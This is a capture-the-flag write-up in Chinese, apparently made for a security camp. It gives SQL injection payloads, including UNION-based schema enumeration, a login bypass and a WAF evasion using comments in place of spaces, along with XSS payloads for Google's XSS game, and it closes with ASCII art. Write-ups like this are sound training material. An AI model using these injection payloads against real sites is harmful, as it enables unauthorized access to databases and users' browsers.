[toc] # CTF平台 - SecurityCamp2022 Web 高階 --- - 隊伍名稱 : TYC4D - 解題佐證 ![](https://i.imgur.com/s1eSE59.png) ## SQLi-1 右上角可以進行ID之查詢 使用註解發現都會出現SQL Error 所以推測是單純Numeric 注入攻擊 ### 過程 1. 進行 or 1=1 試試看 2. 進行 order by 測深度 3. 還不知道table名稱以及colunm名稱 利用information.schema查出 4. DB - myDb 5. table - secret 6. colunm - id THIS_IS_FLAG ```SQL= UNION SELECT null,column_name,null FROM information_schema.columns where table_name='secret'``` 5. 最後選出 ```SQL= union select null,id,THIS_IS_FLAG from secret ``` ### 佐證 ![](https://i.imgur.com/6sHpIAU.png) ## SQLi-2 看完註解程式碼發現 - 選出來的資料進行判斷是否和資料庫一樣 - 是以array為單位 - 沒有使用WAF ![](https://i.imgur.com/09gXETO.png) ### 過程 決定進行UNION INJECTION 將密碼改為自訂的 1337 帳號欄位填入下列語法,密碼則為1337 即可在第二次檢查拿到FLAG ```SQL= ' or 1=1 union select username,1337 from ctfuser-- ``` ### 佐證 ![](https://i.imgur.com/V8KxDLm.png) # FEIFEI LAB平台 - 隊伍名稱 : tyc4d - 解題佐證 : ![](https://i.imgur.com/7W0t3ee.png) ## SQL-ByPassWAF 1. 目前table在 user_data 先看看有沒有需要的資訊 2. 利用註解大法將SQL注入語法空格替換掉 ```SQL= '/**/or/**/'1'='1'/**/union/**/select/**/null,column_name,null/**/FROM/**/information_schema.columns/**/where/**/table_name='user_data ``` ![](https://i.imgur.com/wd1Adou.png) 3. 發現沒有,開始找table ```SQL= '/**/or/**/'1'='1'/**/union/**/select/**/null,table_name,null/**/from/**/information_schema.tables/**/where/**/'1'='1 ``` ![](https://i.imgur.com/jDZGbeW.png) 4. 可能在 user_salary_data ,爆出來看看 ```SQL= '/**/or/**/'1'='1'/**/union/**/select/**/null,column_name,null/**/from/**/information_schema.columns/**/where/**/table_name='user_salary_data ``` 5. 找到salary欄位,選出來看看 ```SQL= '/**/or/**/'1'='1'/**/union/**/select/**/userid,user_name,salary/**/from/**/user_salary_data/**/where/**/user_name='Pedro ``` ![](https://i.imgur.com/q2nVZxe.png) # XSS-GAME https://xss-game.appspot.com/ - 解題佐證 ![](https://i.imgur.com/r8s3IwX.png) ## WriteUp 1. ![](https://i.imgur.com/Hb95484.png) ```javascript= <script>alert(1)</script> ``` 3. ![](https://i.imgur.com/viCl96U.png) ```javascript= <img src="example.com/d.png" onerror=alert(1)> ``` 5. ![](https://i.imgur.com/5sTKSlt.png ```javascript= 1.jpg'><script>alert(1)</script> ``` 6. ![](https://i.imgur.com/PRJZEzj.png) 注入點 ![](https://i.imgur.com/AWxE0tI.png) ```javascript= 1');alert('1 ``` 8. ![](https://i.imgur.com/LWBc7Yp.png) ```javascript= javascript:alert('hi'); ``` ### 外置js注入 / 物件型態 10. ![](https://i.imgur.com/F1bTugQ.png) #### call google ```javascript= www.google.com/jsapi?callback=alert ``` #### data ```javascript= data:text/javascript,alert('exp') ``` -oooo:- omhsoosho` Ndo:``:oh- dms+--+ym: -ymhohdh+` `N/`.s. +: + -- : -- o .. + :: s ..` .:sssso. -- + :syhhyo` ..::::. `odhhyyhdd. :: s .mhhyhhdh. -:...` /dhhhhhhs .odddhyhdddh+y: my-syhdhhyhhddy/` .odhyyhh: yNdhyyoyhmo+::+ms/+++//++/odm: NNmNd+///+++/+ody::omhyssyhdm- -sddyyyyyyyoommmmmmdhyyyyyyhddd: `ddmdmdhyssyyhhmmNNNNdhyyyyyhmo-` ``-omdyyyssys///shdddddddddmmdddhyy-``yhddddhhhhhdmmmmmmdd/oyssyyyyhmhss-` `:ohhdmddhhyyyyyshddddhhyyyyyhddhhyo:-...--shhyysssyyhhdhhhddyyysyyyhdddmNNmyo. /hNNmmd/:o+/////:`/osyhhyyys+syyhhyysysooossyyyyyooyyyyyyysyy+./oooooos/:ydNNmNmo. +dNmmmmmhoo+///////oossshhyyyyyyyyssoossoosoosssyyyyyyyhsoyyyys/:-..--:/+sdddmmmNMy `hNmmdmmdmddddhhhyhysso+.oyssssso-./o:-/+oo++oo--osoooooo..oyyhyyyyyyhhhyhdddmmdmNNN `yNmNNhhdmdddhhhyyyyyyys:-......`./+++/:o++oo++/-````..::/+sysysyyyhsshhhydddmmmNNNN sMNNNNNNmmdmdhhhhyyyyyyhhssssoo+oo/+//:/+//+:++++ooosyooyssosyyhhyhsshdhdmmNmNmmMMN -NNNNNNhmNmdmmmdddddmhhhyyyyssys///+/:://////o+osoo+osoossosyhhdddh+omddmNNmmNmNMMN oMNNNNNNNNdydNmmmmmdhydhhsoooodhydhsshys+soyooooosssyhyhymdhdhyddmmmdmNNNNNNmNNNMMM yMMNNNMmmNdmmNNNNNNmh/sysyysyhyddmhhyhyhhddyyyhmddhhdmdddmmmdmmmmNNmmmNmNNNNmMNMMMM .dMMNNMMNNNmNNNNNNmmNNhsddddNNdmhdmddyyhdhdhdddhdmhhdddhmddmmmNNNNNNNNNNNNNNNNMNMMMM :NMMMNMMNMNhhmNNNNmdmNNmhddmdNmmmmmmddddNmdhdhddddmddmmmmmmNdNmdmmNNNmNNNNNdmMMMMMMM -mMMMMMNNmNNmNNNNNNNNNNNdmmNmNmNmNmmNNmmNNdhddmmmmNmhhhyohNMNMNmmmmNdmNNMMMNNMMMMMMM .dMMMMMMNNNMMMMMNNNNNMNmmmNNNmmmmNNdddmmNNNmmdNNmNNNmmNNNNNNNNNNNNNNNmNNNNNmNMMMMMMM :NMMMMMMMMMMMMMMMNmmNMNNNNNNNmmNmNNNNmdmNNNNNNNmNNdmNNMMNMmNNNNNNMMNdmNNNMNmmMMMMMMM :NNMMMMMMMMMMMMMMMMNNMNNMNNNMMMNNNNNNmNmdmmmNNNNNNmmNNNNNNNNNNMNNMMMNNNNMMNmMMMMNNMN :NMMMNNMMMMMMMMMMMMMNNMMMMNMMMNmNNMNNNNNmhNMNNMNNNMMNMMMMMNNMMNNNMNMMMMNMMNNMMNMNMMM `hMMMNdMNNMNNNNNMMNNNNMMMMMMMMNmNMMMMNNNNNNNdmmmMNMMMMMMNNMMNmdNMMNMNNNNMNmmNMNMMMMN yMMMMNMMNMNmmNNNMNmddmMMNNNMNNNNNMMNNNNMNNNNNNNmNNNNNNNNNNNNNddNdmdmmNNMNNdMMMMMMMN yMMMMNMNMMNNMMNNNNmdmmNMNNdhmMNNNNNNmNMMddddmNNNmNNMMNmNmmmmmNNmmmmNMMMMMMNNNMMMMMN yNNNMMNNMMMMMMNNNNNMmmdNNNNNNNNNNNNmNNNNNmNmmNNNNNNNNNNNmNmNNNNNNNNNNNNNMMMNNMMMMMy +MMMMMMMMMMMNNNNMMMNNNNmNNNMNMNNMNNmhdNNNNNmNNNmmNNNNNNNNNNNMMNNmNNNNNMNMNMMMMMMMN: NMMMMNMMMMMMMNNNNNNdNMNNNNNNmNNNNNNNNNmmhNNNNmdNNNNNNNNNMMNNMNNNNNNNNNMMMMNNMMMNs` -sdmNMNNMMMMMNNNNmmmmNNNMNmNMNNNNNNNMNmNNNNNNmmmdmNNNMNmmmmNMNNMNMmmNNMMMNMNmd+-` `.ohNNMMNMMNMNNmdmNNNNNNmNMNNMNNNNmNNNmmmNmNMMNNMNNMMNNNNNNNNNNMMMMMMMNNho.` :+hdNNNNNNNNNNNNNNmNNNNNNNMNNNmNNNNmMmmmNNNMNNNNNNNNMNNMMMMMNNmdds/- `--:+shddmmNmmmmNNNNMNNNMNNNNNNNNNNMMNMMMNNNmNNNMNNNNdh++/-.` `--++osdddddddysNmmhshmmmmmNmddddddho/:++/--- `-.-. .------. ```